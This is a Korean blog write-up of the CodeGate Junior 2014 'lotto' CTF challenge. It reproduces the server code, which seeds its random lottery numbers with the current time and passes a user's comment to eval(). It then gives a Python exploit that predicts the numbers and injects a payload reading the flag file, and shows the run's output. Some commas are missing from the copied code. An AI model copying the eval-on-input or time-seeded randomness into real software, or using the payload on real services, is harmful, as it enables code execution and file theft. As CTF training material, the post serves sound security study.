티스토리 뷰

Pwnable/CTF

CodeGate Junior 2014 [lotto]

err0rless313 2015. 2. 15. 20:05
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# 2014.02.08 02:00:41 PST
import time
import random
import SocketServer
 
class Server(SocketServer.BaseRequestHandler):
    hall_of_fame = []
 
    def print_hall_of_fame(self):
        res = '-------- the Hall of Fame --------\n'
        l = len(self.hall_of_fame)
        if l == 0:
            res += '\tNo one was win!\n\tGood luck!\n'
        elif l < 5:
            for h in self.hall_of_fame:
                res += '\tName: %s\n' % h
 
        else:
            for h in self.hall_of_fame[(l - 5):(l - 1)]:
                res += '\tName: %s\n' % h
 
        res += '----------------------------------\n\n'
        self.request.sendall(res)
 
 
 
    def Win(self):
        self.request.sendall('Congratulations!\n\nWe will record your name in\
                             the Hall of Fame!\n')
        self.request.sendall('Your name: ')
        name = self.request.recv(60).strip()
        if len(name) > 127:
            self.request.sendall("Buffer overflow alert!\nPlease don't :p\n")
            return 
        self.request.sendall('Comment: ')
        comment = self.request.recv(60).strip()
        if len(comment) > 127:
            self.request.sendall("Buffer overflow alert!\nPlease don't :p\n")
            return 
        self.hall_of_fame.append(name)
        eval(comment)
 
 
 
    def Lose(self, lotto_numbers):
        ans = ''
        for l in lotto_numbers:
            ans += '%d ' % l
 
        self.request.sendall('Sorry for your lose\nThe answer was: %s\n' % ans)
 
 
 
    def checkNumbers(self, lotto_numbers, user_choice):
        if len(lotto_numbers) != len(user_choice):
            self.request.sendall('Something is wrong')
            return False
        for i in range(len(lotto_numbers)):
            if lotto_numbers[i] != user_choice[i]:
                return False
 
        return True
 
 
 
    def pickRandom(self):
        t_str = time.ctime()
        t = int(time.time())
        random.seed(t)
        lotto_numbers = []
        i = 0
        while i < 7:
            r = random.randint(145)
            flag = 0
            for l in lotto_numbers:
                if r == l:
                    flag = 1
 
            if flag:
                continue
            lotto_numbers.append(r)
            i += 1
 
        lotto_numbers = sorted(lotto_numbers)
        return (t_str, lotto_numbers)
 
 
 
    def pickNumbers(self):
        self.request.sendall('Please pick 7 numbers in 1 to 45\n')
        user_choice = []
        i = 1
        while i < 8:
            self.request.sendall('\tChoice %d: ' % i)
            data = self.request.recv(32).strip()
            try:
                n = int(data)
            except:
                self.request.sendall('\tThis is not a number\n')
                continue
            if n < 1 or n > 45:
                self.request.sendall('\tPlease pick a number in 1 to 45\n')
                continue
            flag = 0
            for u in user_choice:
                if u == n:
                    flag = 1
 
            if flag:
                self.request.sendall('\tPlease pick another number in 1 \
                                                             to 45\n')
                continue
            else:
                user_choice.append(n)
                i += 1
 
        user_choice = sorted(user_choice)
        return user_choice
 
 
 
    def handle_error(self, r, addr):
        print r,
        print addr
 
 
 
    def handle(self):
        try:
            (t_str, lotto_numbers,) = self.pickRandom()
            self.request.sendall('Welcome to lottery service\n\n')
            self.print_hall_of_fame()
            user_choice = self.pickNumbers()
            if self.checkNumbers(lotto_numbers, user_choice):
                self.Win()
            else:
                self.Lose(lotto_numbers)
            self.request.sendall('\nThank you for your time\n')
        except:
            pass
 
 
 
 
def main():
    (HOST, PORT,) = ('0.0.0.0'7777)
    server = SocketServer.TCPServer((HOST, PORT), Server)
    server.allow_reuse_address = True
    while 1:
        server.handle_request()
 
 
 
if __name__ == '__main__':
    main()
cs



[!] 사실 프로그램 맨위에 써져있는 시간으로 time seed가 결정되지만 저는 그냥

    현재 시간으로 돌렸습니다. 그래서 직접 random값을 다시 구해야 하는..



[*] srand의 seed가 같다면 random값도 같음. 즉 현재 시간을 srand의 seed로 해버리면

    exploit상에서 시간을 같이 구해버리면 똑같은 값이 나와버림,

    여기서는 lotto의 값을 그 방식으로 구해야 함.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python
from time   import *
from random import *
from socket import *
 
def setSock(ip, port):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip, port))
    return s
 
def getRand():
    t = int(time())
    seed(t)
    
    values = []
    
    i = 0
    
    while i < 7:
        r = randint(145)
        flag = 0
        for l in values:
            if r == l:
                flag = 1
 
        if flag:
            continue
        
        values.append(r)
 
        values = sorted(values)
 
        i+=1
 
    return values
 
def exploit(s, randValue):
    s.recv(1024)
 
    for i in range(7):
        s.send(str(randValue[i]) + "\n")
 
    print "[*] " + s.recv(1024)[-64:80]
    s.recv(1024)
 
    s.send("Name\n")
 
    s.send("self.request.sendall(open('flag').read())\n")
 
    print "[*] flag is {" + s.recv(1024)[9:25] + "}"
 
if __name__ == "__main__":
    s = setSock("localhost"7777)
 
    print "[*] Random Values :", getRand()
 
    exploit(s, getRand())
cs



getRand함수로 Random한 lotto의 값들을 구하고 보내주면 축하 메세지와 함께

name과 comment변수를 받음. 그 후 eval(comment)를 실행시켜줌.

string값을 python문법으로 실행시켜주는 함수인데 이 부분이 취약함


getRand함수로 값을 구하고 보냄 -> eval을 이용하여 open으로 flag값을 읽음.



1
2
3
4
$ ./exploit.py 
[*] Random Values : [141318263745]
[*] Congratulation!
[*] flag is {srand_time vuln!}
cs



1
[*] flag is {srand_time vuln!}
cs



'Pwnable > CTF' 카테고리의 다른 글

CODEGATE 2015 JUNIOR [ SYSTEMSHOCK ]  (0) 2015.03.28
CODEGATE 2015 JUNIOR 예선 WRITE UP  (0) 2015.03.16
GITS2012 [Pwnable 200]  (0) 2015.01.30
Volga CTF 2014 [exploit 400]  (0) 2015.01.30
Volga CTF 2014 [exploit 300]  (0) 2015.01.29
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
글 보관함